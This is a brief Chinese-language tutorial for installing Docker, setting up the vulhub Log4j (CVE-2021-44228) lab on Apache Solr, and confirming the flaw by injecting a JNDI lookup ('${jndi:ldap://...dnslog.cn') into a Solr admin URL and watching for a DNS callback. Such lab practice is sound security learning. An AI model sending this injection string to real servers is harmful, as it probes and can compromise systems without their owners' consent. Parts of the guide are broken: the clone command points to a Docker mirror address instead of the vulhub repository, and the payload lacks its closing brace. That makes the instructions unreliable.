一、安装docker
1.添加docker的gpc秘钥,apt源
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add
echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
2.apt更新
apt update
3.安装docker,docker-compose
apt-get install docker.io
apt-get install docker-compose -y
二、安装log4j靶场
1.下载vulhub靶场
git clone https://6x5738qd.mirror.aliyuncs.com
2.进入CVE-2021-44228目录
cd /vulhub/log4j/CVE-2021-44228
3.编译靶场
docker-compose up -d
出现报错,代表响应时间过长可以使用镜像站docker 加速器,替换原有地址就行“https://6x5738qd.mirror.aliyuncs.com”
4.查看端口号
docker ps
三、
1.访问网址:http://xxx.xxx.xxx.xx:8983
2.访问网址:
http://xxx.xxx.xxx.xx:8983/solr/admin/cores?action=1
3.访问地址:dnslog
4.将地址
http://xxx.xxx.xxx.xx:8983/solr/admin/cores?action=1
替换为
http://xxx.xxx.xxx.xx:8983/solr/admin/cores?action=${jndi:ldap://s4b16a.dnslog.cn
5刷新后dnslog返回结果,说明有log4j漏洞